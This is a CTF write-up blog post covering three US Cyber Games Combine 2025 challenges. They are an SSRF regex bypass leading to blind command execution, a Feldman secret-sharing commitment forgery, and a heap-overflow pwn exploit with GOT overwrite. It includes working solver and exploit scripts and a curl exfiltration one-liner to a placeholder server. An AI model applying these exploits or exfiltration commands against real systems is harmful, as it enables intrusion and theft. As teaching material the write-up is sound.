US Cyber Games Combine 2025

July 17th, 2025


I participated in the US Cyber Games Combine. Here are some challenges that I solved that I found interesting.

Status - Web

Web?? Look at this guy... Doing web challenges. Unacceptable.
I'm kidding but usually I don't really like doing web challenges. Worst category imo.
But this one was fun so it merits a writeup.

We are given a go file and a Dockerfile, and we can interact with the website.
Lets look at the source for the website, since nothing ever important nor relevant is ever put on the Dockerfile ever in the history of ever (foreshadowing).

package main

import (
    "fmt"
    "io"
    "net"
    "net/http"
    "crypto/tls"
    "os/exec"
    "regexp"
    "time"
)

func main() {
    http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
    http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
        fmt.Fprintln(w, "OK")
    })

    http.HandleFunc("/status-check", func(w http.ResponseWriter, r *http.Request) {
        url := r.FormValue("url")
        match, _ := regexp.MatchString(`^(https?:\/\/)?ctf.uscybergames\.com`, url)
        if !match {
            http.Error(w, "URL not allowed", http.StatusBadRequest)
            return
        }

        client := http.Client{
            Timeout: 3 * time.Second,
        }
        resp, err := client.Get(url)
        if err != nil || resp.StatusCode != 200 {
            fmt.Fprintln(w, "down")
            return
        }
        defer resp.Body.Close()
        io.Copy(io.Discard, resp.Body)
        fmt.Fprintln(w, "up")
    })

    http.HandleFunc("/admin/exec", func(w http.ResponseWriter, r *http.Request) {
        ip, _, _ := net.SplitHostPort(r.RemoteAddr)
        if ip != "127.0.0.1" && ip != "::1" {
            http.Error(w, "Forbidden", http.StatusForbidden)
            return
        }

        cmdStr := r.URL.Query().Get("cmd")
        if cmdStr == "" {
            http.Error(w, "Missing cmd", http.StatusBadRequest)
            return
        }

        cmd := exec.Command("sh", "-c", cmdStr)
        err := cmd.Run()
        if err != nil {
            w.WriteHeader(500)
            fmt.Fprintln(w, "Command failed")
            return
        }
        fmt.Fprintln(w, "OK")
    })

    http.ListenAndServe(":8080", nil)
}

There's only really two interesting endpoints here.
/status-check: In an argument we can provide a url. If the url matches the regex, which is meant to restrict us to only certain domains, we will send a GET request to the url provided. Then depending on the response code, the website will display "up" or "down". Pretty simple.

/admin/exec: We provide a cmd argument, and if the source of the request is localhost, then we execute that as a shell command! Again pretty easy.

From this we could guess that this is an extremely simple challenge, just bypass the regex and run a shell command and win right!? (foreshadowing)

Bypassing the Regex: this is pretty easy. ^(https?:\/\/)?ctf.uscybergames\.com <-- essentially, all this checks is optionally we have http or https in the string and that it contains ctf.uscybergames.com.
So for example, https://ctf.uscybergames.com.whateveryouwanttoputhere.com also passes the regex.

Server Side Request Forgery: So we want to send a request to the /admin/exec endpoint, but have it originate from localhost. Thankfully, we have an endpoint that can send requests originating from the server! So we can just abuse the regex bypass to send a request to the server, using the server /status-check endpoint.
The particular bypass I used abuses the username@host formatting that is sometimes used for logging into websites. In this case you could do https://ctf.uscybergames.com@127.0.0.1:8080. Notice that the first part matches the regex, but then the url parser considers ctf.uscybergames.com to be the username and ignores it, then sends the request to the host (127.0.0.1 aka localhost).

Done!

Right? we just send a command that exfiltrates the flag? Right?
Something like curl -d @/path/to/your-file.txt https://your-server.com/upload.
Easiest money of my life right?
Welp, first don't forget to url encode your urls properly. (I totally did not forget to do that)
But also, this didnt work. And most things that I tried would not work.
Hmmm....
Remember that Dockerfile? Maybe we should read that shouldnt we?

FROM golang:1.21-alpine AS builder

ENV CGO_ENABLED=0
WORKDIR /build

COPY main.go .

RUN go build -o app main.go

FROM busybox:latest

# Container hardening
WORKDIR /bin
RUN rm -rf *
COPY --from=busybox:latest /bin/busybox /bin/sh

# Status checking app
COPY --from=builder /build/app app
COPY flag.txt /flag.txt

CMD ["/bin/app"]

Oh... Oh no... You see that line?
Yeah that one...
Actually its like 3 lines... The dockerfile deletes all binaries except the /bin/sh binary. (Technically its busybox but when you rename busybox to a binary it only runs as that binary)
Ok so all that we can do is run native shell commands.

Let me open up this docker image interactively and see what I can do.

docker run --rm -it status sh
/bin # sh --help
BusyBox v1.37.0 (2024-09-26 21:31:42 UTC) multi-call binary.

Usage: sh [-il] [-|+Cabefmnuvx] [-|+o OPT]... [-c 'SCRIPT' [ARG0 ARGS] | FILE ARGS | -s ARGS]

Unix shell interpreter
/bin # help
Built-in commands:
------------------
        . : [ [[ alias bg break cd chdir command continue echo eval exec
        exit export false fg getopts hash help history jobs kill let
        local printf pwd read readonly return set shift source test times
        trap true type ulimit umask unalias unset wait

It's not much but its honest work.
I didn't think any of these would allow me to send information over the network, so I somehow have to use the status check to leak the flag, one bit of information at a time.
Since if a command failed we would get down and if a command succeeded we would get up, I can find a way to use that to relay information about the flag.

Particularly interesting is read. That is kinda what I want to do right? Read the flag?

/bin # read -n 17 flag < /flag.txt
/bin # echo $flag
SVUSCG{t3st_fl4g}

Ok so I have a way for the docker container to read the flag contents. Can native shell commands somehow compare strings?
I googled some and found the case syntax for sh. It essentially lets you conditionally execute commands.
case "$line" in "a") exit 0;; *) exit 1;; esac
After reading the flag, I could do something like the above to return display up, if the character matched what I read from the flag, or down if it didn't.

DONE DONE now!

OK
Now we got all the pieces to the puzzle: - we can bypass the regex
- we can hit the /admin/exec endpoint as localhost
- we have a string that we can use to learn one bit of information about the flag
All we need to do is write a script that guesses every single character from the flag!

import requests
import urllib.parse
import sys

def test_guess(victim_url, length, guess):
    # The command to read flag and test
    commandstring = f'read -n{length} line < /flag.txt && case "$line" in "{guess}") exit 0;; *) exit 1;; esac'

    # URL encode the command
    encoded_command = urllib.parse.quote(commandstring)
    url = f"http://ctf.uscybergames.com@127.0.0.1:8080/admin/exec?cmd={encoded_command}"

    data = {'url': url}
    response = requests.post(f'{victim_url}/status-check', data=data)
    print(response.text)
    return response.text.strip() == "up"

def brute_force_flag(victim_url):
    flag = ""
    length = 1

    # ASCII printable characters (32-126)
    chars = [chr(i) for i in range(32, 127)]

    while True:

        for char in chars:
            guess = flag + char

            if test_guess(victim_url, length, guess):
                flag = guess
                print("MATCH!",guess)
                break
        else:
            # If no character matched, we might be done
            break

        length += 1

    return flag

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python exploit.py <victim_url>")
        sys.exit(1)

    victim_url = sys.argv[1]
    result = brute_force_flag(victim_url)
    print(f"Final flag: {result}")

Tamper Monkey - Crypto

This was an interesting EC crypto challenge.
Get ready for some LaTeX rendered maths, courtesy of myself.


We are given two files:

chall.py:

#!/usr/local/bin/python

from ecdsa import SECP256k1
from ecdsa.ellipticcurve import Point
from random import SystemRandom

curve = SECP256k1
G = curve.generator
n = curve.order
p = curve.curve.p()

s = SystemRandom()
D = 30

def mk_point(x, y):
    return Point(curve.curve, x, y, n)

def commit(x):
    return G * x

def eval_poly(poly, x):
    result = G*0
    for coeff in poly:
        result = (result * x + coeff)
        try:
            result %= n
        except:
            pass
    return result

def _divmod(a, b, p):
    return (a * pow(b, -1, p)) % p

# from https://en.wikipedia.org/wiki/Shamir%27s_secret_sharing
def lagrange_interpolate(x, x_s, y_s, p):
    """
    Find the y-value for the given x, given n (x, y) points;
    k points will define a polynomial of up to kth order.
    """
    k = len(x_s)
    assert k == len(set(x_s)), "points must be distinct"
    def PI(vals):  # upper-case PI -- product of inputs
        accum = 1
        for v in vals:
            accum *= v
        return accum
    nums = []  # avoid inexact division
    dens = []
    for i in range(k):
        others = list(x_s)
        cur = others.pop(i)
        nums.append(PI(x - o for o in others))
        dens.append(PI(cur - o for o in others))
    den = PI(dens)
    num = sum([_divmod(nums[i] * den * y_s[i] % p, dens[i], p)
               for i in range(k)])
    return (_divmod(num, den, p) + p) % p


poly = [s.randint(0, p) for _ in range(D)]
commits = [commit(x) for x in poly]
print(f"Commitments: {[(c.x(), c.y()) for c in commits]}")
shares = []
# feldman's vsss, surely no share tampering here :3
for i in range(D):
    x = s.randint(0, p)
    print(f"{x = }")
    commit_c = commits.copy()
    share = s.randint(0, p)
    print(f"{share = }")
    commit_c[-2] = mk_point(int(input("x: ")), int(input("y: ")))
    assert eval_poly(commit_c, x) == commit(share), "Share tampering detected!"
    shares.append((x, share))


secret = lagrange_interpolate(0, [x for x, _ in shares], [share for _, share in shares], p)
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
key = int(secret).to_bytes(32, 'big')
cipher = AES.new(key, AES.MODE_CBC)
iv = cipher.iv
flag = open("/flag.txt", "rb").read()
ciphertext = cipher.encrypt(pad(flag, AES.block_size))
print(f"iv: {iv.hex()}")
print(f"ciphertext: {ciphertext.hex()}")

Dockerfile:

FROM python:alpine
WORKDIR /app
COPY chall.py .
RUN apk add socat
RUN pip install --no-cache-dir pycryptodome ecdsa
CMD ["socat","TCP-LISTEN:1337,reuseaddr,fork","EXEC:\"python3 chall.py\""]

First of all, the Dockerfile is pretty straightforward, no tricks here...
Let's look, line-by-line (ish) at the chall.py script to understand what is going on.

from ecdsa import SECP256k1
from ecdsa.ellipticcurve import Point # class for representing (x,y) points
from random import SystemRandom # secure randomness source

curve = SECP256k1 # The specific Elliptic Curve will be working on (Fun fact its used in Bitcoin)

# A curve's generator is a predefined point in the curve.
# It has the special property that all points in the curve can be reached by repeated addition of the Generator.
G = curve.generator
# the number of points in the curve
n = curve.order
# the characteristic prime number of the field
p = curve.curve.p()

s = SystemRandom()
D = 30

Now you might be thinking: "I like your funny words magic man"
So lets take a step back.
This challenge is an Elliptic Curve Cryptography challenge.

Finite Fields

A finite field is a set of elements with a defined addition and multiplication operations that satisfy certain properties. They are finite because the number of elements of the field are equal to a prime number.

Elliptic Curves over finite fields

Elliptic Curves are defined by a specific type of cubic equation. When defined over finite fields, the \(x\) and \(y\) coordinates of a point must be elements of the finite field. That means that there's only a finite amount of points in the curve.

How is addition and multiplication defined?

Addition is defined geometrically. Given a point \(P\) and a point \(Q\) draw a line through them. Then label the point where the line intersects with the curve \(R\).
The point resulting from reflecting \(R\) accross the x-axis is defined as \((P+Q)\)
Here is a picture of what it would look like.
Multiplication is just repeated addition.

Elliptic Curve Cryptography is based on the fact that given points \(P\) and \(Q\) on the curve, it is cryptographically hard to find \(k\) such that \(kP = Q\). This is called the Elliptic Curve Discrete Logarithm Problem (ECDLP)

Back to the challenge

Now that we have some better context, let's see what is going on.

...

def commit(x):
    return G * x

...

poly = [s.randint(0, p) for _ in range(D)]
commits = [commit(x) for x in poly]
print(f"Commitments: {[(c.x(), c.y()) for c in commits]}")
shares = []
# feldman's vsss, surely no share tampering here :3

First we randomly generate a polynomial of degree 29. Notice that the coefficients are elements of our Finite field.
The polynomial would look like this:
\(a_{29} * x^{29} + a_{28} * x^{28} + ... + a_1 * x + a_0\)
In the context of feldman's vsss, the secret is \(a_0\).

Then we generate a list of commits. Notice that we are only given the commits, and not the coefficients. Given what we know of the ECDLP, it is hard to recover the coefficients from the commits.
The commits have the form \(G * a_i\) for every coefficient of our polynomial.


Let's skip ahead a little bit.

secret = lagrange_interpolate(0, [x for x, _ in shares], [share for _, share in shares], p)
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
key = int(secret).to_bytes(32, 'big')
cipher = AES.new(key, AES.MODE_CBC)
iv = cipher.iv
flag = open("/flag.txt", "rb").read()
ciphertext = cipher.encrypt(pad(flag, AES.block_size))
print(f"iv: {iv.hex()}")
print(f"ciphertext: {ciphertext.hex()}")

Here we see that we are using the \(a_0\) coefficient as the key to encrypt the flag.
This is based on the idea that a \(n\) degree polynomial is uniquely defined by \(n+1\) points.
In our case we have a \(29\) degree polynomial and \(30\) points.
I won't go into detail as to how this works since its not critical to the challenge.
See Shamir Secret Sharing for more details.

But the important thing to notice here is that if we can get all the shares, we can use Lagrange Interpolation to derive the secret and decrypt the flag.


How do we get the shares?

# feldman's vsss, surely no share tampering here :3
for i in range(D):
    x = s.randint(0, p)
    print(f"{x = }")
    commit_c = commits.copy()
    share = s.randint(0, p)
    print(f"{share = }")
    commit_c[-2] = mk_point(int(input("x: ")), int(input("y: ")))
    assert eval_poly(commit_c, x) == commit(share), "Share tampering detected!"
    shares.append((x, share))

Usually the way secret sharing would work is that we would generate a random point \(x\) in our field.
Then we would compute \(P(x)\), where \(P\) is our polynomial, to obtain our share.
However, in this case we generate random \((x,s)\) in our field. Then the user is asked for a point, call it \(Q\), to replace commit \(C_{28} = G*a_{28}\).
Then we assert that \(G*s == \sum_{i=0}^{30}{C_{i}*x} = \sum_{i=0}^{30}{G*a_{i}*x}\). (except for our modified point \(Q\))
Essentially this means that when we evaluate our modified polynomial at \(x\), we get \(s\).

So what is the issue here? Normally a random pair of \(x,s\) would not satisfy this requirement, but we are able to modify one of the commits to make sure this equation holds true.
If we do this 30 times, then we can get all the shares and decrypt the secret.

Satisfying the equation

Lets write this out.
\(P(x) = C_0 + C_1*x + C_2*x^2 + ... + C_{28}*x^{28} + C_{29}*x^{29}\)
Define the difference: \(\delta = G*s - P(x)\) This is the difference between our desired value vs. the current value of the polynomial when evaluated at x.
We can now inject this difference when modifying the 28th commit.
\(\delta = x^{28}*(Q - C_{28}) \rightarrow Q = C_{28} + \delta/x^{28}\) Thus we can compute \(Q\), our modified commit and send it over to the server.

Here's a python implementation of this attack.

#!/usr/bin/env python3
import argparse
import socket
import re
import sys
from ecdsa import SECP256k1
from ecdsa.ellipticcurve import Point
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

# Constants
curve = SECP256k1
G = curve.generator
n = curve.order
p = curve.curve.p()
D = 30  # threshold

# Utility functions stolen from chall.py
def mk_point(x, y):
    return Point(curve.curve, x, y, n)

def eval_commitments(commits, x):
    """
    Horner's method on EC point commitments:
    res = commits[0]*x^{D-1} + ... + commits[D-1]
    implemented as res = G*0; for c in commits: res = res * x + c
    """
    res = G * 0
    for c in commits:
        res = res * x + c
    return res

def inv_mod(a, m):
    return pow(a, -1, m)

def lagrange_interpolate_zero(xs, ys):
    total = 0
    k = len(xs)
    for i in range(k):
        xi, yi = xs[i], ys[i]
        num, den = 1, 1
        for j in range(k):
            if i != j:
                xj = xs[j]
                num = (num * -xj) % p
                den = (den * (xi - xj)) % p
        total = (total + yi * num * inv_mod(den, p)) % p
    return total

def parse_point_list(s):
    nums = re.findall(r"\((\d+),\s*(\d+)\)", s)
    return [mk_point(int(x), int(y)) for x, y in nums]

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("host")
    parser.add_argument("port", type=int)
    args = parser.parse_args()

    sock = socket.create_connection((args.host, args.port))
    f = sock.makefile('rwb', buffering=0)

    # Read commitments
    line = f.readline().decode()
    commits = parse_point_list(line)
    if len(commits) != D:
        print(f"[!] Expected {D} commitments, got {len(commits)}")
        sys.exit(1)

    xs, ys = [], []
    for i in range(D):
        lx = f.readline().decode().strip()
        m = re.search(r"x\s*=\s*(\d+)", lx)
        if not m:
            print(f"[!] Failed to parse x from: '{lx}'")
            sys.exit(1)
        x = int(m.group(1))

        ly = f.readline().decode().strip()
        m2 = re.search(r"share\s*=\s*(\d+)", ly)
        if not m2:
            print(f"[!] Failed to parse share from: '{ly}'")
            sys.exit(1)
        share = int(m2.group(1))

        # calculate forged point
        orig = eval_commitments(commits, x)
        target = G * share
        delta = target + mk_point(orig.x(), (-orig.y() % p))
        inv_x = inv_mod(x, n)
        Q = commits[-2] + delta * inv_x

        out = f"{Q.x()}\n{Q.y()}\n".encode()
        f.write(out)
        print(f"[+] Sent tampered Q for round {i+1}")

        xs.append(x)
        ys.append(share)

    iv_line = f.readline().decode().strip()
    ct_line = f.readline().decode().strip()
    iv = bytes.fromhex(iv_line.split(':')[-1].strip())
    ciphertext = bytes.fromhex(ct_line.split(':')[-1].strip())

    print("[+] Decrypting flag")
    secret = lagrange_interpolate_zero(xs, ys)
    key = secret.to_bytes(32, 'big')
    cipher = AES.new(key, AES.MODE_CBC, iv=iv)
    flag = unpad(cipher.decrypt(ciphertext), AES.block_size)
    print(flag.decode())

if __name__ == '__main__':
    main()

When ran:

python3 sol.py challenge.ctf.uscybergames.com 51331
[+] Sent tampered Q for round 1
[+] Sent tampered Q for round 2
[+] Sent tampered Q for round 3
[+] Sent tampered Q for round 4
[+] Sent tampered Q for round 5
[+] Sent tampered Q for round 6
[+] Sent tampered Q for round 7
[+] Sent tampered Q for round 8
[+] Sent tampered Q for round 9
[+] Sent tampered Q for round 10
[+] Sent tampered Q for round 11
[+] Sent tampered Q for round 12
[+] Sent tampered Q for round 13
[+] Sent tampered Q for round 14
[+] Sent tampered Q for round 15
[+] Sent tampered Q for round 16
[+] Sent tampered Q for round 17
[+] Sent tampered Q for round 18
[+] Sent tampered Q for round 19
[+] Sent tampered Q for round 20
[+] Sent tampered Q for round 21
[+] Sent tampered Q for round 22
[+] Sent tampered Q for round 23
[+] Sent tampered Q for round 24
[+] Sent tampered Q for round 25
[+] Sent tampered Q for round 26
[+] Sent tampered Q for round 27
[+] Sent tampered Q for round 28
[+] Sent tampered Q for round 29
[+] Sent tampered Q for round 30
[+] Decrypting flag
SVUSCG{fdbbd14d0544c0865c3b16e930eea6bc}

House M.D. - PWN

Initial Analysis

We are given 5 files

build.sh # just builds the challenge
chal # binary  
chal.c # source code  
dockerfile # container running on remote
flag # fake flag

Lets do some basic checks

┌──(kali㉿kali)-[~/Downloads/USCG_Combine/pwn_dabestcategory/house_md]
└─$ file chal       
chal: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7015fdb3a4c78caf086dbfe4af77bded4b18ef14, for GNU/Linux 3.2.0, not stripped

┌──(kali㉿kali)-[~/Downloads/USCG_Combine/pwn_dabestcategory/house_md]
└─$ checksec chal        
[*] '/home/kali/Downloads/USCG_Combine/pwn_dabestcategory/house_md/chal'
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

So nothing special here, PIE is enabled so we probably want to get an infoleak. NX is enabled so no shellcode. No RELRO is nice, because it means we can attack the Global Offset Table (GOT).

Lets Look at the dockerfile

FROM debian:bookworm-slim

RUN apt-get update && apt-get install -y --no-install-recommends \
      socat build-essential \
    && rm -rf /var/lib/apt/lists/* && \
    groupadd -r ctf && useradd -r -g ctf ctf

WORKDIR /home/ctf/

COPY build.sh /home/ctf/build.sh
COPY chal.c /home/ctf/chal.c
COPY flag /home/ctf/flag

RUN ./build.sh

RUN chown -R ctf:ctf /home/ctf && \
    chmod 440 /home/ctf/flag && \
    chmod 766 /home/ctf/chal 

USER ctf

EXPOSE 9003

ENTRYPOINT ["socat", "tcp-l:9003,reuseaddr,fork", "SYSTEM:./chal"]

Again, nothing particularly special here.
However, I am not running debian:bookworm-slim. So I want to make sure I have the same libc and ld as remote when testing my exploits locally.

# Create container from debian:bookworm-slim                 
docker create --name temp debian:bookworm-slim

# Extract the actual ld file (follow the symlink)
docker cp temp:/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 ./

# Extract libc as well
docker cp temp:/lib/x86_64-linux-gnu/libc.so.6 ./

# Clean up
docker rm temp

Then I can use pwninit to patch chal so that it uses that libc and ld, ensuring that my local testing environment is the same as the remote one.

Vulnerability Analysis

Let's take a look at the source code.

int main(void){
    uint8_t choice;
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    banner();
    printf("welcome to the House M.D. Diagnostic software daemon\n");
    printf("It's never Lupus\n");
    while(1){
        puts("1: diagnose patiant");
        puts("2: revise diagnosis");
        puts("3: adjust diagnosis size");
        puts("4: print diagnosis");
        puts("5: delete diagnosis");
        puts("6: exit");
        printf("> ");
        scanf("%hhu", &choice);
        switch (choice) {
            case 1:
                create_entry();
                break;
            case 2:
                edit_entry();
                break;
            case 3:
                adjust_buffer();
                break;
            case 4:
                print_entries();
                break;
            case 5:
                remove_entry();
                break;
            case 6:
                exit(0);
                break;
            default:
                puts("better luck next time :3");
                exit(9001);
        }
    }
    return 0;
}

It looks like there is just a loop that lets us choose from these functions forever. Let's analyze the functions one by one.

Create Entry

#define NUM_ITEMS 256
#define DEF_LEN 0x20
uint8_t next_idx;

typedef struct item {
    uint32_t size;
    uint32_t used;
    char* buf;
    bool in_use;
} diagnosis;

diagnosis* entries[NUM_ITEMS] = { 0 };

void create_entry(){
    uint64_t bytes_read;
    char buf[DEF_LEN];
    diagnosis *d;
    uint32_t choice;

    d = malloc(sizeof(diagnosis));
    printf("what's the diagnosis? ");
    bytes_read = read(STDIN_FILENO, buf, DEF_LEN);

    //init buffer ctx
    d->buf = malloc(DEF_LEN);
    d->size = DEF_LEN;
    d->used = bytes_read;
    d->in_use = true;
    memcpy(d->buf, buf, bytes_read);

    entries[next_idx] = d;
    printf("created d diagnosis at index: 0x%x\n", next_idx);
    next_idx++;
}

So we have a table of diagnosis structs. We can allocate them as we wish, and write into their buffer. All of our allocations will be of size 0x20 (but in the heap they will be 0x30, we will see this later)
No vulnerabilities here, but its nice that we can call malloc on demand.

Edit Entry

void edit_entry(){
    uint64_t bytes_read;
    char input[0x20];
    char choice;
    diagnosis *d;
    uint8_t idx;
    size_t read_sz;

    printf("enter the idx: ");
    scanf("%hhx", &idx); // which diagnostic are we gonna modify?

    if(!entries[idx]){
        printf("index is not allocated"); //has to exist
        return;
    }

    if(!entries[idx]->in_use){
        printf("index is not in use"); //cannot have been freed
        return;
    }

    printf("current diagnosis: %s\n", entries[idx]->buf);
    printf("append to current diagnosis?: ");
    read(STDIN_FILENO, input, 0x20);
    if(strncmp(input, "yes", 3) == 0){ //do we append?
        read_sz = entries[idx]->size - entries[idx]->used; //read_sz is a size_t!! IF size < used then we will have an integer underflow
        if(read_sz <= 0){ // is only true if read_sz = 0
            printf("out of space\n");
            return;
        }
        printf("extend diagnosis: ");
        bytes_read = read(STDIN_FILENO, entries[idx]->buf + entries[idx]->used, read_sz); // we USE read_sz as the SIZE to read!!! if we underflow we can write as much data as we want!! :)
        entries[idx]->used += bytes_read;
    } else { //start writing from the base of the buffer
        memset(entries[idx]->buf, 0, entries[idx]->size);
        printf("enter new diagnosis: ");
        bytes_read = read(STDIN_FILENO, entries[idx]->buf, entries[idx]->size);
        entries[idx]->used = bytes_read; //we can set used by writing a number of bytes here. Has to be <= size
    }
}

We found our vulnerable function!! Here we have an integer underflow if used > size and then we append, we will be able to overflow our buffer in the heap! But how are we going to use more bytes than the size of our buffer?

Adjust Buffer

void adjust_buffer(){
    uint8_t idx;
    size_t new_size;

    printf("enter the idx: ");
    scanf("%hhx", &idx);

    if(!entries[idx]){
        printf("index is not allocated\n");
        return;
    }

    if(!entries[idx]->in_use){
        printf("index is not in use\n");
        return;
    }

    printf("current diagnosis has an allocated size of 0x%x\n", entries[idx]->size);
    printf("enter the new_size: ");
    scanf("%lx", &new_size); //new size can be anything! Bigger, smaller we don't care
    entries[idx]->buf = realloc(entries[idx]->buf, new_size); //realloc to new size
    entries[idx]->size = new_size; //set new size. Notice we dont update used!!!

    return;
}

Aha! Notice that here we update size, but not used. Combining this with edit_entry we can make it so used > size and then cause an overflow.

  1. alloc entry (used = 0x20, size = 0x20)
  2. resize to larger entry, for example 0x50 (used = 0x20, size = 0x50)
  3. edit to set used to 0x50 (used = 0x50, size = 0x50)
  4. resize to original size (used = 0x50, size = 0x20) <-- Just what we wanted!

Print Entries

void print_entries(){
    for(uint16_t i = 0; i < NUM_ITEMS; i++){
        if(entries[i] != NULL && entries[i]->in_use){
            printf("diagnosis [%d]: ", i);
            write(STDOUT_FILENO, entries[i]->buf, entries[i]->used);
        }
    }
}

Notice that we print using used, which means that by abusing our ability to make used larger than size we can potentially leak heap memory...

Remove Entry

void remove_entry(){
    uint8_t idx;

    printf("enter the idx: ");
    scanf("%hhx", &idx);
    if(entries[idx] == NULL){
        puts("invalid index");
        return;
    }

    if(!entries[idx]->in_use){
        puts("invalid index");
        return;
    }

    free(entries[idx]->buf);
    free(entries[idx]);
    entries[idx]->in_use = false;
}

We can free on demand, nothing else.

Understanding the heap

Let's check out how the heap reacts to our various commands.

welcome to the House M.D. Diagnostic software daemon
It's never Lupus
1: diagnose patiant
2: revise diagnosis
3: adjust diagnosis size
4: print diagnosis
5: delete diagnosis
6: exit
> 1
what's the diagnosis? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
created d diagnosis at index: 0x0

Image In the pink we have the diagnostic struct. Notice that we have first the chunk size (0x21 actually 0x20), the last bit indicates that the previous chunk is in use. Then we have the used and size fields, both 0x20. (take into account endianness). Then the pointer to our buffer, and finally the use boolean.

In the green, we have the buffer from our previous struct. First the size (0x30), then the actual buffer data.

Continuing.
3 <-- adjust buffer
enter the idx: 0
current diagnosis has an allocated size of 0x20
enter the new_size: 0x40

Image

Notice that now, size is 0x40, and our buffer is bigger on the heap

2
enter the idx: 0
current diagnosis: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
append to current diagnosis?: no
enter new diagnosis: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
1: diagnose patiant
2: revise diagnosis
3: adjust diagnosis size
4: print diagnosis
5: delete diagnosis
6: exit

Image Now used is 0x40

Continuing.
3
enter the idx: 0
current diagnosis has an allocated size of 0x40
enter the new_size: 0x20
1: diagnose patiant
2: revise diagnosis
3: adjust diagnosis size
4: print diagnosis
5: delete diagnosis
6: exit

Image

Notice that now used = 0x40 and size = 0x20, which is what we wanted!
But wait...
The data right after our buffer is a free chunk on the tcachebins...
This is starting to look good for us >:)

Exploitation

heap base leak
Looking at the state of the program just above, we can call print_entries. Since used includes the free'd chunk, we will print the free chunk, which holds a pointer into the heap!

# Wait for initial menu
    wait_for_menu()

    log.info("Starting exploit")

    # good luck pwning :)
    create_entry(b'A'*0x20) #entry 0 

    # realloc into something big
    adjust_buffer(0,0x60)

    # set used to large value
    edit_entry(0,'no',b'A'*0x60)

    # realloc into something small
    adjust_buffer(0,0x20)

    # used is bigger than size now
    leak = print_entries()
    try:
        leak_data = leak.split(b'[0]: ')[1]
        heap_base = int.from_bytes(leak_data[48:56],'little') << 12
        log.success(f"Found heap base: {hex(heap_base)}")
    except:
        log.error("Failed to parse heap leak")
        exit(1)

libc leak
We can do the same technique, but with a larger chunk (0x500), this will place it into the unsorted bins, which means it's pointer won't point to the heap, but to an arena in libc.

# feng shui to leak fd ptr from a unsorted bin 
    create_entry(b'B'*0x20) # entry 1
    adjust_buffer(1,0x500)
    edit_entry(1,'no',b'B'*0x500)
    #do not coalesce into top chunk
    create_entry(b'C'*0x20) # entry 2
    adjust_buffer(1,0x20)

    leak = print_entries()
    try:
        leak_data = leak.split(b'[1]: ')[1]
        leak_addr = int.from_bytes(leak_data[48:56],'little')
        libc_base = leak_addr - 19648 - 1892352
        log.success(f"Found libc base: {hex(libc_base)}")
    except:
        log.error("Failed to parse libc leak")
        exit(1)

Image

How do we get execution?
Ok, we want to get code execution. One classic target is to try to overwrite __free_hook or __malloc_hook with system and then call free("/bin/sh").
Unfortunately, we are on glibc 2.36, which means __free_hook and __malloc_hook have been removed.
However, remember from checksec that we have Partial RELRO.
That means we can overwrite free@got with system, and then do the same.

To do this, we need to get a main binary leak, and also to get a arbitrary write primitive.

Crafting an arbitrary read/write primitive
In order to get a main binary leak, it would be nice to have an arbitrary read primitive.
Here's the plan
1. alloc entry (used = 0x20, size = 0x20)
2. resize to larger entry 0x40 (used = 0x20, size = 0x40)
3. edit to set used to 0x40 (used = 0x40, size = 0x40)
4. resize to original size (used = 0x40, size = 0x20) <-- we can overflow, also tcache bin of size 0x20
5. alloc another entry, since the diagnostics struct is of size 0x20 it will get allocated right after our buffer.
6. Overflow the buf entry to point to whatever we want
7. print_entries to read that memory or edit_entry to write that memory

create_entry(b'1'*0x20)
    curr_entry += 1 
    adjust_buffer(curr_entry, 0x40)  
    edit_entry(curr_entry,'no',b'2'*0x30)
    # do not coalesce 
    create_entry(b'X'*0x20)
    adjust_buffer(curr_entry,0x20)
    create_entry(b'Z'*0x20)
    edit_entry(curr_entry, 'yes', p32(0x20) + p32(0x20) + p64(target_poi) + p64(0x1))
    curr_entry += 2

    ret = print_entries()
    try:
        target_poi = ret.split(f'[{curr_entry}]: '.encode())[1][:8]
        target_poi = int.from_bytes(target_poi,'little')
        log.info(f"1st dereference: {hex(target_poi)}")
    except:
        log.error("Failed 1st dereference")
        exit(1)

Image Notice that we have a diagnostic struct whose buf points to 0xdeadbeef0badc0de!!!

getting a main binary leak
We currently have a libc leak, and a heap leak. pwndbg has a really cool tool called p2p, that searchers in memory for pointer from one region to the other. So we can look for pointers in libc to other regions that we currently don't know.

Image huh, what's this?

00:0000│  0x7f911afb5f78 —▸ 0x7f911b000020 (_rtld_global) —▸ 0x7f911b0012e0 —▸ 0x55c8d8083000 ◂— 0x10102464c457f

vmmap chal_patched
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
►   0x55c8d8083000     0x55c8d8084000 r--p     1000      0 /home/kali/Downloads/USCG_Combine/pwn_dabestcategory/house_md/chal_patched

So if we just follow this pointer, we get the base of the binary!!

And now we're done! Leverage our arbitrary read to follow this pointer, then write system at free@got and call free("/bin/sh")

#!/usr/bin/env python3

from pwn import *
import pdb
import time

exe = ELF("./chal_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.binary = exe

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

# Specify your GDB script here for debugging
gdbscript = '''
tbreak main
continue
'''.format(**locals())

io = start()
#io = remote('challenge.ctf.uscybergames.com', 60507)

def wait_for_menu():
    """Wait for the menu prompt and consume all output"""
    try:
        io.recvuntil(b'> ', timeout=2)
    except EOFError:
        log.error("Connection closed unexpectedly")
        exit(1)
